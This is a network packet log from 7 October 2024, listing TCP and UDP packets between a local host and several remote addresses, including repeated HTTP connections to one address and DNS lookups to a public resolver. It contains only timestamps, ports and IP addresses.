Oct 7, 2024 03:23:40.812525034 CEST	443	61171	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:40.813055992 CEST	61171	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:40.813076019 CEST	443	61171	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:40.813416004 CEST	61171	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:40.813421965 CEST	443	61171	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:40.816986084 CEST	443	61170	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:40.817153931 CEST	443	61170	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:40.817187071 CEST	443	61170	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:40.817209959 CEST	61170	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:40.817236900 CEST	61170	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:40.817373037 CEST	61170	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:40.817384005 CEST	443	61170	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:40.817392111 CEST	61170	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:40.817397118 CEST	443	61170	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:40.829360962 CEST	61161	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:40.829617977 CEST	61175	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:40.834461927 CEST	80	61175	185.215.113.43	192.168.2.4
Oct 7, 2024 03:23:40.834600925 CEST	80	61161	185.215.113.43	192.168.2.4
Oct 7, 2024 03:23:40.834714890 CEST	61161	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:40.834882975 CEST	61175	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:40.834882975 CEST	61175	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:40.839948893 CEST	80	61175	185.215.113.43	192.168.2.4
Oct 7, 2024 03:23:40.910896063 CEST	443	61171	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:40.911040068 CEST	443	61171	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:40.911083937 CEST	61171	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:40.911222935 CEST	61171	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:40.911232948 CEST	443	61171	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:40.911254883 CEST	61171	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:40.911261082 CEST	443	61171	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:41.306282043 CEST	443	61172	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:41.359208107 CEST	61172	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:41.359241962 CEST	443	61172	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:41.360284090 CEST	61172	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:41.360302925 CEST	443	61172	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:41.412879944 CEST	443	61174	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:41.419043064 CEST	61174	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:41.419076920 CEST	443	61174	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:41.419771910 CEST	61174	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:41.419785023 CEST	443	61174	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:41.441934109 CEST	443	61173	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:41.447295904 CEST	61173	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:41.447310925 CEST	443	61173	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:41.447877884 CEST	61173	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:41.447887897 CEST	443	61173	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:41.459222078 CEST	443	61172	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:41.459429979 CEST	443	61172	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:41.459491968 CEST	61172	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:41.463897943 CEST	61172	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:41.463934898 CEST	443	61172	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:41.463963032 CEST	61172	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:41.463978052 CEST	443	61172	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:41.568331003 CEST	80	61175	185.215.113.43	192.168.2.4
Oct 7, 2024 03:23:41.568427086 CEST	61175	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:41.614937067 CEST	443	61173	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:41.615039110 CEST	443	61173	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:41.615108967 CEST	61173	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:41.639322042 CEST	61173	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:41.639358997 CEST	443	61173	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:41.639400959 CEST	61173	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:41.639416933 CEST	443	61173	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:41.652754068 CEST	443	61174	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:41.653280020 CEST	443	61174	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:41.653347969 CEST	61174	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:41.673566103 CEST	61174	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:41.673566103 CEST	61174	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:41.673593044 CEST	443	61174	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:41.673615932 CEST	443	61174	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:43.218991041 CEST	61176	443	192.168.2.4	104.102.49.254
Oct 7, 2024 03:23:43.219017029 CEST	443	61176	104.102.49.254	192.168.2.4
Oct 7, 2024 03:23:43.219080925 CEST	61176	443	192.168.2.4	104.102.49.254
Oct 7, 2024 03:23:43.220427990 CEST	61176	443	192.168.2.4	104.102.49.254
Oct 7, 2024 03:23:43.220441103 CEST	443	61176	104.102.49.254	192.168.2.4
Oct 7, 2024 03:23:43.235095024 CEST	61175	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:43.235440016 CEST	61177	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:43.240509033 CEST	80	61175	185.215.113.43	192.168.2.4
Oct 7, 2024 03:23:43.240540981 CEST	80	61177	185.215.113.43	192.168.2.4
Oct 7, 2024 03:23:43.240581989 CEST	61175	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:43.240629911 CEST	61177	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:43.240765095 CEST	61177	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:43.245579004 CEST	80	61177	185.215.113.43	192.168.2.4
Oct 7, 2024 03:23:43.904061079 CEST	443	61176	104.102.49.254	192.168.2.4
Oct 7, 2024 03:23:43.904172897 CEST	61176	443	192.168.2.4	104.102.49.254
Oct 7, 2024 03:23:43.910325050 CEST	61176	443	192.168.2.4	104.102.49.254
Oct 7, 2024 03:23:43.910335064 CEST	443	61176	104.102.49.254	192.168.2.4
Oct 7, 2024 03:23:43.910773039 CEST	443	61176	104.102.49.254	192.168.2.4
Oct 7, 2024 03:23:43.940942049 CEST	80	61177	185.215.113.43	192.168.2.4
Oct 7, 2024 03:23:43.941020012 CEST	61177	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:43.954608917 CEST	61176	443	192.168.2.4	104.102.49.254
Oct 7, 2024 03:23:44.140194893 CEST	61176	443	192.168.2.4	104.102.49.254
Oct 7, 2024 03:23:44.183408022 CEST	443	61176	104.102.49.254	192.168.2.4
Oct 7, 2024 03:23:44.529545069 CEST	443	61176	104.102.49.254	192.168.2.4
Oct 7, 2024 03:23:44.529613018 CEST	443	61176	104.102.49.254	192.168.2.4
Oct 7, 2024 03:23:44.529614925 CEST	61176	443	192.168.2.4	104.102.49.254
Oct 7, 2024 03:23:44.529647112 CEST	443	61176	104.102.49.254	192.168.2.4
Oct 7, 2024 03:23:44.529660940 CEST	61176	443	192.168.2.4	104.102.49.254
Oct 7, 2024 03:23:44.529669046 CEST	443	61176	104.102.49.254	192.168.2.4
Oct 7, 2024 03:23:44.529680967 CEST	61176	443	192.168.2.4	104.102.49.254
Oct 7, 2024 03:23:44.529716969 CEST	443	61176	104.102.49.254	192.168.2.4
Oct 7, 2024 03:23:44.529773951 CEST	443	61176	104.102.49.254	192.168.2.4
Oct 7, 2024 03:23:44.529783964 CEST	61176	443	192.168.2.4	104.102.49.254
Oct 7, 2024 03:23:44.529810905 CEST	443	61176	104.102.49.254	192.168.2.4
Oct 7, 2024 03:23:44.529855013 CEST	61176	443	192.168.2.4	104.102.49.254
Oct 7, 2024 03:23:44.617702961 CEST	443	61176	104.102.49.254	192.168.2.4
Oct 7, 2024 03:23:44.617769003 CEST	443	61176	104.102.49.254	192.168.2.4
Oct 7, 2024 03:23:44.617785931 CEST	61176	443	192.168.2.4	104.102.49.254
Oct 7, 2024 03:23:44.617826939 CEST	443	61176	104.102.49.254	192.168.2.4
Oct 7, 2024 03:23:44.617872953 CEST	61176	443	192.168.2.4	104.102.49.254
Oct 7, 2024 03:23:44.617901087 CEST	443	61176	104.102.49.254	192.168.2.4
Oct 7, 2024 03:23:44.617957115 CEST	61176	443	192.168.2.4	104.102.49.254
Oct 7, 2024 03:23:44.618091106 CEST	61176	443	192.168.2.4	104.102.49.254
Oct 7, 2024 03:23:44.618103027 CEST	443	61176	104.102.49.254	192.168.2.4
Oct 7, 2024 03:23:44.618120909 CEST	61176	443	192.168.2.4	104.102.49.254
Oct 7, 2024 03:23:44.618125916 CEST	443	61176	104.102.49.254	192.168.2.4
Oct 7, 2024 03:23:45.533343077 CEST	61177	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:45.533657074 CEST	61178	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:45.538568020 CEST	80	61178	185.215.113.43	192.168.2.4
Oct 7, 2024 03:23:45.538606882 CEST	80	61177	185.215.113.43	192.168.2.4
Oct 7, 2024 03:23:45.538700104 CEST	61178	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:45.538746119 CEST	61177	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:45.538923025 CEST	61178	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:45.543741941 CEST	80	61178	185.215.113.43	192.168.2.4
Oct 7, 2024 03:23:46.233464956 CEST	80	61178	185.215.113.43	192.168.2.4
Oct 7, 2024 03:23:46.233567953 CEST	61178	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:47.883337021 CEST	61178	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:47.883658886 CEST	61179	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:47.888771057 CEST	80	61178	185.215.113.43	192.168.2.4
Oct 7, 2024 03:23:47.888813972 CEST	80	61179	185.215.113.43	192.168.2.4
Oct 7, 2024 03:23:47.888851881 CEST	61178	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:47.888900995 CEST	61179	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:47.889134884 CEST	61179	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:47.893954039 CEST	80	61179	185.215.113.43	192.168.2.4
Oct 7, 2024 03:23:48.577404976 CEST	80	61179	185.215.113.43	192.168.2.4
Oct 7, 2024 03:23:48.577532053 CEST	61179	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:50.124878883 CEST	61179	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:50.125518084 CEST	61180	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:50.130705118 CEST	80	61179	185.215.113.43	192.168.2.4
Oct 7, 2024 03:23:50.130774975 CEST	80	61180	185.215.113.43	192.168.2.4
Oct 7, 2024 03:23:50.130862951 CEST	61179	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:50.130887032 CEST	61180	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:50.141510010 CEST	61180	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:50.146543980 CEST	80	61180	185.215.113.43	192.168.2.4
Oct 7, 2024 03:23:50.834237099 CEST	80	61180	185.215.113.43	192.168.2.4
Oct 7, 2024 03:23:50.834327936 CEST	61180	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:52.463737011 CEST	61180	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:52.464128971 CEST	61181	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:52.468789101 CEST	80	61180	185.215.113.43	192.168.2.4
Oct 7, 2024 03:23:52.468882084 CEST	61180	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:52.468971968 CEST	80	61181	185.215.113.43	192.168.2.4
Oct 7, 2024 03:23:52.469050884 CEST	61181	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:52.469249964 CEST	61181	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:52.474057913 CEST	80	61181	185.215.113.43	192.168.2.4
Oct 7, 2024 03:23:53.168205023 CEST	80	61181	185.215.113.43	192.168.2.4
Oct 7, 2024 03:23:53.168284893 CEST	61181	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:54.673477888 CEST	61181	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:54.673738003 CEST	61182	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:54.678700924 CEST	80	61181	185.215.113.43	192.168.2.4
Oct 7, 2024 03:23:54.678740978 CEST	80	61182	185.215.113.43	192.168.2.4
Oct 7, 2024 03:23:54.678802967 CEST	61181	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:54.678841114 CEST	61182	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:54.678998947 CEST	61182	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:54.683804035 CEST	80	61182	185.215.113.43	192.168.2.4
Oct 7, 2024 03:23:55.810066938 CEST	80	61182	185.215.113.43	192.168.2.4
Oct 7, 2024 03:23:55.810261965 CEST	61182	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:57.441107035 CEST	61182	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:57.441418886 CEST	61183	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:57.446459055 CEST	80	61182	185.215.113.43	192.168.2.4
Oct 7, 2024 03:23:57.446536064 CEST	61182	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:57.447170019 CEST	80	61183	185.215.113.43	192.168.2.4
Oct 7, 2024 03:23:57.447367907 CEST	61183	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:57.447499990 CEST	61183	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:57.452744961 CEST	80	61183	185.215.113.43	192.168.2.4
Oct 7, 2024 03:23:58.163953066 CEST	80	61183	185.215.113.43	192.168.2.4
Oct 7, 2024 03:23:58.164686918 CEST	61183	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:58.381154060 CEST	61184	80	192.168.2.4	185.215.113.37
Oct 7, 2024 03:23:58.386003017 CEST	80	61184	185.215.113.37	192.168.2.4
Oct 7, 2024 03:23:58.386113882 CEST	61184	80	192.168.2.4	185.215.113.37
Oct 7, 2024 03:23:58.386262894 CEST	61184	80	192.168.2.4	185.215.113.37
Oct 7, 2024 03:23:58.391143084 CEST	80	61184	185.215.113.37	192.168.2.4
Oct 7, 2024 03:23:59.079961061 CEST	80	61184	185.215.113.37	192.168.2.4
Oct 7, 2024 03:23:59.080055952 CEST	61184	80	192.168.2.4	185.215.113.37
Oct 7, 2024 03:23:59.081957102 CEST	61184	80	192.168.2.4	185.215.113.37
Oct 7, 2024 03:23:59.086802959 CEST	80	61184	185.215.113.37	192.168.2.4
Oct 7, 2024 03:23:59.307483912 CEST	80	61184	185.215.113.37	192.168.2.4
Oct 7, 2024 03:23:59.307684898 CEST	61184	80	192.168.2.4	185.215.113.37
Oct 7, 2024 03:23:59.310554981 CEST	61184	80	192.168.2.4	185.215.113.37
Oct 7, 2024 03:23:59.688688040 CEST	61183	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:59.689153910 CEST	61185	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:59.693953037 CEST	80	61183	185.215.113.43	192.168.2.4
Oct 7, 2024 03:23:59.694024086 CEST	61183	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:59.694035053 CEST	80	61185	185.215.113.43	192.168.2.4
Oct 7, 2024 03:23:59.694104910 CEST	61185	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:59.694327116 CEST	61185	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:59.699131012 CEST	80	61185	185.215.113.43	192.168.2.4
Oct 7, 2024 03:24:00.397636890 CEST	80	61185	185.215.113.43	192.168.2.4
Oct 7, 2024 03:24:00.397727966 CEST	61185	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:24:02.002975941 CEST	61185	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:24:02.003328085 CEST	61186	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:24:02.008223057 CEST	80	61186	185.215.113.43	192.168.2.4
Oct 7, 2024 03:24:02.008263111 CEST	80	61185	185.215.113.43	192.168.2.4
Oct 7, 2024 03:24:02.008311987 CEST	61186	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:24:02.008347034 CEST	61185	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:24:02.008500099 CEST	61186	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:24:02.013286114 CEST	80	61186	185.215.113.43	192.168.2.4
Oct 7, 2024 03:24:02.726773977 CEST	80	61186	185.215.113.43	192.168.2.4
Oct 7, 2024 03:24:02.727022886 CEST	61186	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:24:04.236856937 CEST	61186	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:24:04.237313986 CEST	61187	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:24:04.242115974 CEST	80	61186	185.215.113.43	192.168.2.4
Oct 7, 2024 03:24:04.242182016 CEST	80	61187	185.215.113.43	192.168.2.4
Oct 7, 2024 03:24:04.242250919 CEST	61186	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:24:04.242280960 CEST	61187	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:24:04.242413044 CEST	61187	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:24:04.247261047 CEST	80	61187	185.215.113.43	192.168.2.4
Oct 7, 2024 03:24:04.250015020 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:24:04.255431890 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:24:05.063016891 CEST	80	61187	185.215.113.43	192.168.2.4
Oct 7, 2024 03:24:05.063116074 CEST	61187	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:24:06.723700047 CEST	61187	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:24:06.723998070 CEST	61188	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:24:06.729074001 CEST	80	61188	185.215.113.43	192.168.2.4
Oct 7, 2024 03:24:06.729127884 CEST	80	61187	185.215.113.43	192.168.2.4
Oct 7, 2024 03:24:06.729162931 CEST	61188	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:24:06.729202986 CEST	61187	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:24:06.729348898 CEST	61188	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:24:06.734620094 CEST	80	61188	185.215.113.43	192.168.2.4
Oct 7, 2024 03:24:07.121756077 CEST	61189	443	192.168.2.4	23.199.218.33
Oct 7, 2024 03:24:07.121845007 CEST	443	61189	23.199.218.33	192.168.2.4
Oct 7, 2024 03:24:07.121920109 CEST	61189	443	192.168.2.4	23.199.218.33
Oct 7, 2024 03:24:07.123307943 CEST	61189	443	192.168.2.4	23.199.218.33
Oct 7, 2024 03:24:07.123343945 CEST	443	61189	23.199.218.33	192.168.2.4
Oct 7, 2024 03:24:07.450479031 CEST	80	61188	185.215.113.43	192.168.2.4
Oct 7, 2024 03:24:07.451190948 CEST	61188	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:24:07.766136885 CEST	443	61189	23.199.218.33	192.168.2.4
Oct 7, 2024 03:24:07.766222000 CEST	61189	443	192.168.2.4	23.199.218.33
Oct 7, 2024 03:24:07.767461061 CEST	61189	443	192.168.2.4	23.199.218.33
Oct 7, 2024 03:24:07.767488956 CEST	443	61189	23.199.218.33	192.168.2.4
Oct 7, 2024 03:24:07.767842054 CEST	443	61189	23.199.218.33	192.168.2.4
Oct 7, 2024 03:24:07.792356014 CEST	61189	443	192.168.2.4	23.199.218.33
Oct 7, 2024 03:24:07.835431099 CEST	443	61189	23.199.218.33	192.168.2.4
Oct 7, 2024 03:24:08.246923923 CEST	443	61189	23.199.218.33	192.168.2.4
Oct 7, 2024 03:24:08.246985912 CEST	443	61189	23.199.218.33	192.168.2.4
Oct 7, 2024 03:24:08.247014999 CEST	61189	443	192.168.2.4	23.199.218.33
Oct 7, 2024 03:24:08.247025967 CEST	443	61189	23.199.218.33	192.168.2.4
Oct 7, 2024 03:24:08.247087955 CEST	443	61189	23.199.218.33	192.168.2.4
Oct 7, 2024 03:24:08.247129917 CEST	61189	443	192.168.2.4	23.199.218.33
Oct 7, 2024 03:24:08.247129917 CEST	61189	443	192.168.2.4	23.199.218.33
Oct 7, 2024 03:24:08.247159004 CEST	61189	443	192.168.2.4	23.199.218.33
Oct 7, 2024 03:24:08.333503008 CEST	443	61189	23.199.218.33	192.168.2.4
Oct 7, 2024 03:24:08.333596945 CEST	61189	443	192.168.2.4	23.199.218.33
Oct 7, 2024 03:24:08.333656073 CEST	443	61189	23.199.218.33	192.168.2.4
Oct 7, 2024 03:24:08.333725929 CEST	61189	443	192.168.2.4	23.199.218.33
Oct 7, 2024 03:24:08.335648060 CEST	443	61189	23.199.218.33	192.168.2.4
Oct 7, 2024 03:24:08.335719109 CEST	61189	443	192.168.2.4	23.199.218.33
Oct 7, 2024 03:24:08.335733891 CEST	443	61189	23.199.218.33	192.168.2.4
Oct 7, 2024 03:24:08.335793018 CEST	61189	443	192.168.2.4	23.199.218.33
Oct 7, 2024 03:24:08.335820913 CEST	443	61189	23.199.218.33	192.168.2.4
Oct 7, 2024 03:24:08.335874081 CEST	61189	443	192.168.2.4	23.199.218.33
Oct 7, 2024 03:24:08.336255074 CEST	61189	443	192.168.2.4	23.199.218.33
Oct 7, 2024 03:24:08.336287975 CEST	443	61189	23.199.218.33	192.168.2.4
Oct 7, 2024 03:24:08.336316109 CEST	61189	443	192.168.2.4	23.199.218.33
Oct 7, 2024 03:24:08.336330891 CEST	443	61189	23.199.218.33	192.168.2.4
Oct 7, 2024 03:24:08.339900017 CEST	61190	443	192.168.2.4	104.21.53.8
Oct 7, 2024 03:24:08.340001106 CEST	443	61190	104.21.53.8	192.168.2.4
Oct 7, 2024 03:24:08.340092897 CEST	61190	443	192.168.2.4	104.21.53.8
Oct 7, 2024 03:24:08.340403080 CEST	61190	443	192.168.2.4	104.21.53.8
Oct 7, 2024 03:24:08.340441942 CEST	443	61190	104.21.53.8	192.168.2.4
Oct 7, 2024 03:24:08.806489944 CEST	443	61190	104.21.53.8	192.168.2.4
Oct 7, 2024 03:24:08.806571960 CEST	61190	443	192.168.2.4	104.21.53.8
Oct 7, 2024 03:24:08.807699919 CEST	61190	443	192.168.2.4	104.21.53.8
Oct 7, 2024 03:24:08.807725906 CEST	443	61190	104.21.53.8	192.168.2.4
Oct 7, 2024 03:24:08.808079004 CEST	443	61190	104.21.53.8	192.168.2.4
Oct 7, 2024 03:24:08.809154034 CEST	61190	443	192.168.2.4	104.21.53.8
Oct 7, 2024 03:24:08.809154034 CEST	61190	443	192.168.2.4	104.21.53.8
Oct 7, 2024 03:24:08.809254885 CEST	443	61190	104.21.53.8	192.168.2.4
Oct 7, 2024 03:24:09.273288012 CEST	443	61190	104.21.53.8	192.168.2.4
Oct 7, 2024 03:24:09.273705006 CEST	443	61190	104.21.53.8	192.168.2.4
Oct 7, 2024 03:24:09.273802042 CEST	61190	443	192.168.2.4	104.21.53.8
Oct 7, 2024 03:24:09.273910999 CEST	61190	443	192.168.2.4	104.21.53.8
Oct 7, 2024 03:24:09.273910999 CEST	61190	443	192.168.2.4	104.21.53.8
Oct 7, 2024 03:24:09.273961067 CEST	443	61190	104.21.53.8	192.168.2.4
Oct 7, 2024 03:24:09.273992062 CEST	443	61190	104.21.53.8	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 7, 2024 03:22:20.427946091 CEST	138	138	192.168.2.4	192.168.2.255
Oct 7, 2024 03:23:14.250114918 CEST	64737	53	192.168.2.4	1.1.1.1
Oct 7, 2024 03:23:14.251446009 CEST	56368	53	192.168.2.4	1.1.1.1
Oct 7, 2024 03:23:14.336265087 CEST	53	56368	1.1.1.1	192.168.2.4
Oct 7, 2024 03:23:14.336280107 CEST	53	64737	1.1.1.1	192.168.2.4
Oct 7, 2024 03:23:14.336468935 CEST	53	59706	1.1.1.1	192.168.2.4
Oct 7, 2024 03:23:14.336743116 CEST	53	56447	1.1.1.1	192.168.2.4
Oct 7, 2024 03:23:15.267945051 CEST	53757	53	192.168.2.4	1.1.1.1
Oct 7, 2024 03:23:15.268218994 CEST	50919	53	192.168.2.4	1.1.1.1
Oct 7, 2024 03:23:15.274511099 CEST	53	53757	1.1.1.1	192.168.2.4
Oct 7, 2024 03:23:15.274835110 CEST	53	50919	1.1.1.1	192.168.2.4
Oct 7, 2024 03:23:15.305592060 CEST	53	62587	1.1.1.1	192.168.2.4
Oct 7, 2024 03:23:18.631154060 CEST	54102	53	192.168.2.4	1.1.1.1
Oct 7, 2024 03:23:18.631432056 CEST	59335	53	192.168.2.4	1.1.1.1
Oct 7, 2024 03:23:18.638856888 CEST	53	54102	1.1.1.1	192.168.2.4
Oct 7, 2024 03:23:18.639261007 CEST	53	59335	1.1.1.1	192.168.2.4
Oct 7, 2024 03:23:20.398077011 CEST	53	62532	1.1.1.1	192.168.2.4
Oct 7, 2024 03:23:20.708408117 CEST	53	51094	1.1.1.1	192.168.2.4
Oct 7, 2024 03:23:21.564332962 CEST	60282	53	192.168.2.4	1.1.1.1
Oct 7, 2024 03:23:21.572854042 CEST	53	60282	1.1.1.1	192.168.2.4
Oct 7, 2024 03:23:21.575021982 CEST	65496	53	192.168.2.4	1.1.1.1
Oct 7, 2024 03:23:21.583261013 CEST	53	65496	1.1.1.1	192.168.2.4
Oct 7, 2024 03:23:21.589812040 CEST	51433	53	192.168.2.4	1.1.1.1
Oct 7, 2024 03:23:21.612613916 CEST	53	51433	1.1.1.1	192.168.2.4
Oct 7, 2024 03:23:21.613977909 CEST	62676	53	192.168.2.4	1.1.1.1
Oct 7, 2024 03:23:21.622792959 CEST	53	62676	1.1.1.1	192.168.2.4
Oct 7, 2024 03:23:21.626466036 CEST	49186	53	192.168.2.4	1.1.1.1
Oct 7, 2024 03:23:21.634896994 CEST	53	49186	1.1.1.1	192.168.2.4
Oct 7, 2024 03:23:21.647742987 CEST	53746	53	192.168.2.4	1.1.1.1
Oct 7, 2024 03:23:21.655973911 CEST	53	53746	1.1.1.1	192.168.2.4
Oct 7, 2024 03:23:21.662026882 CEST	50272	53	192.168.2.4	1.1.1.1
Oct 7, 2024 03:23:21.670794964 CEST	53	50272	1.1.1.1	192.168.2.4
Oct 7, 2024 03:23:21.683049917 CEST	55038	53	192.168.2.4	1.1.1.1
Oct 7, 2024 03:23:21.691152096 CEST	53	55038	1.1.1.1	192.168.2.4
Oct 7, 2024 03:23:21.701654911 CEST	58479	53	192.168.2.4	1.1.1.1
Oct 7, 2024 03:23:21.708651066 CEST	53	58479	1.1.1.1	192.168.2.4
Oct 7, 2024 03:23:23.007440090 CEST	53325	53	192.168.2.4	1.1.1.1
Oct 7, 2024 03:23:23.016555071 CEST	53	53325	1.1.1.1	192.168.2.4
Oct 7, 2024 03:23:23.201172113 CEST	51197	53	192.168.2.4	1.1.1.1
Oct 7, 2024 03:23:23.201781034 CEST	63501	53	192.168.2.4	1.1.1.1
Oct 7, 2024 03:23:23.208131075 CEST	53	51197	1.1.1.1	192.168.2.4
Oct 7, 2024 03:23:23.208849907 CEST	53	63501	1.1.1.1	192.168.2.4
Oct 7, 2024 03:23:24.391823053 CEST	59985	53	192.168.2.4	1.1.1.1
Oct 7, 2024 03:23:24.392416000 CEST	61083	53	192.168.2.4	1.1.1.1
Oct 7, 2024 03:23:24.398504019 CEST	53	59985	1.1.1.1	192.168.2.4
Oct 7, 2024 03:23:24.398864031 CEST	53	61083	1.1.1.1	192.168.2.4
Oct 7, 2024 03:23:27.416522980 CEST	53	59478	1.1.1.1	192.168.2.4
Oct 7, 2024 03:23:43.117800951 CEST	51649	53	192.168.2.4	1.1.1.1
Oct 7, 2024 03:23:43.126656055 CEST	53	51649	1.1.1.1	192.168.2.4
Oct 7, 2024 03:23:43.128998995 CEST	56170	53	192.168.2.4	1.1.1.1
Oct 7, 2024 03:23:43.137584925 CEST	53	56170	1.1.1.1	192.168.2.4
